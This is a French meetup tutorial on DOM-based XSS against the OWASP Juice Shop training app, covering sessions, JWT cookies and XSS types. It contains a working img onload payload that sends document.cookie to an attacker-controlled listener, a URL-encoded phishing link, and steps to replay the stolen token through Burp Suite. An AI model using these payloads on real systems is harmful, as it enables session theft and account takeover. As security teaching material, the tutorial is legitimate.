Extrait d'un meetup Cat-Amania
Session une session web est l'état de navigation d'un internaute identifié sur un site. L'internaute ouvre une session en s'authentifiant sur le site. Lorsqu'il a ouvert une session, le serveur va conserver l'état de sa navigation. Par exemple pour un site de e-commerce, l'état de son panier. https://fr.wikipedia.org/wiki/Session_(informatique)
Cookies un cookie est une clé-valeur persistée dans le navigateur. C'est un outil technique qui permet de maintenir une session, au fil des différentes requêtes exécutées par le navigateur.
- Affichage du cookie
token
. Le format est JWT - Rappel de l'objectif du hack. Si on vole le cookie, on vole la session
JWT https://jwt.io/ est un standard pour transmettre des informations signées.
- Observer le contenu du token dans JWT.io
- Voir la date d'expiration du token (donc de la session) avec https://www.unixtimestamp.com/
Comprendre par l'exemple. L'exemple suivant est un DOM XSS parce-que, à aucun moment, le payload n'est transmis au serveur.
Le DOM : c'est le contenu HTML de la page web. Le navigateur lit le HTML pour découvrir la structure et le contenu d'une page.
- Inspecter le code HTML de juice-shop.
Le Javascript : c'est du code source (au même titre que le DOM), qui s'exécute dynamiquement dans le navigateur (contrairement au DOM qui est plutôt statique)
-
Exemple d'exécution de JS dans la console.
-
Recherche de
toto
, inscription detoto
dans le DOM. Pour affichertoto
sur la page, le navigateur lit la balise. -
Objectif : déclencher l'exécution de code Javascript, à partir de la saisie utilisateur. Par exemple :
alert('xss')
-
Feinte (c'est le payload XSS !) pour déclencher l'exécution de JS, en ajoutant du HTML dans le DOM, saisir
<iframe src="javascript:alert('xss')">
dans le champ de recherche
https://owasp.org/www-community/Types_of_Cross-Site_Scripting
- Reflected XSS (AKA Non-Persistent or Type I) : La saisie utilisateur est interprétée par le navigateur, mais n'est pas persistée. Le payload est dans la requête envoyée au serveur.
- Stored XSS (AKA Persistent or Type II) : La saisie utilisateur est persistée (côté serveur), puis interprétée par les nvaigateurs lorsqu'elle est requêtée. Exemples : commentaires sous un article, posts dans un forum.
- DOM Based XSS (AKA Type-0) : La saisie utilisateur est interprétée par le navigateur, mais n'est pas persistée. Le payload n'est pas envoyée au serveur.
prérequis : l'utilisateur cible (victime) :
- s'est créé un compte
- s'est authentifié
- a saisi des options de paiement (par exemple)
A cette étape, on sait qu'on peut exécuter du JS dans la page, suite à une saisie dans la barre de recherche. Mais comment forcer la victime à saisir du texte dans la barre de recherche ? La réponse est dans l'URL : quand on recherche toto
, la recherche est transmise à l'application dans l'URL : http://192.168.79.83:3000/#/search?q=toto
- démo : envoi d'un email avec un lien
http://192.168.79.83:3000/#/search?q=toto
But du hack : Si la cible (victime) est authentifiée dans l'application, on veut voler ses cookies (de façon furtive).
-
démo : exécuter l'instruction JS
document.cookie
dans la console -
Démarrer le serveur d'écoute en python
Quel payload ?
-
<iframe src="http://192.168.79.71:8888/?une_cle=une_valeur">
<iframe src='http://192.168.79.71:8888/?'+document.cookie>
On voit que le navigateur n'exécute pas le JS
+document.cookie
. La requête envoyée est :http://192.168.79.71:8888/
-
<img src=https://github.com/favicon.ico width=0 height=0 onload=this.src='http://192.168.79.71:8888/?'+'une_cle=une_valeur'>
<img src=https://github.com/favicon.ico width=0 height=0 onload=this.src='http://192.168.79.71:8888/?'+document.cookie>
On voit que le navigateur envoie bien ce qu'on veut...
Ensuite on peut récupérer l'URL du lien de phishing.x
-
Copier coller dans le navigateur
http://192.168.79.83:3000/#/search?q=%3Cimg%20src%3Dhttps:%2F%2Fgithub.com%2Ffavicon.ico%20width%3D0%20height%3D0%20onload%3Dthis.src%3D'http:%2F%2F192.168.79.71:8888%2F%3F'%2Bdocument.cookie%3E
-
check le payload dans https://www.urldecoder.org/
-
Copier coller le jwt dans https://jwt.io/ : on voit bien le JWT de la cible
- S'authentifier avec un compte quelconque
- Ecraser le cookie dans le navigateur
document.cookie = "token=le_token; SameSite=None";
- Remplacer le header HTTP
Authorization
dans chaque requêtePour faire ça, on utilise le proxy burpsuite. Firefox envoie toutes ses requêtes au proxy, et le proxy remplace tous les headersAuthorization: Bearer le_token
Authorization
avec la valeurBearer le_token
.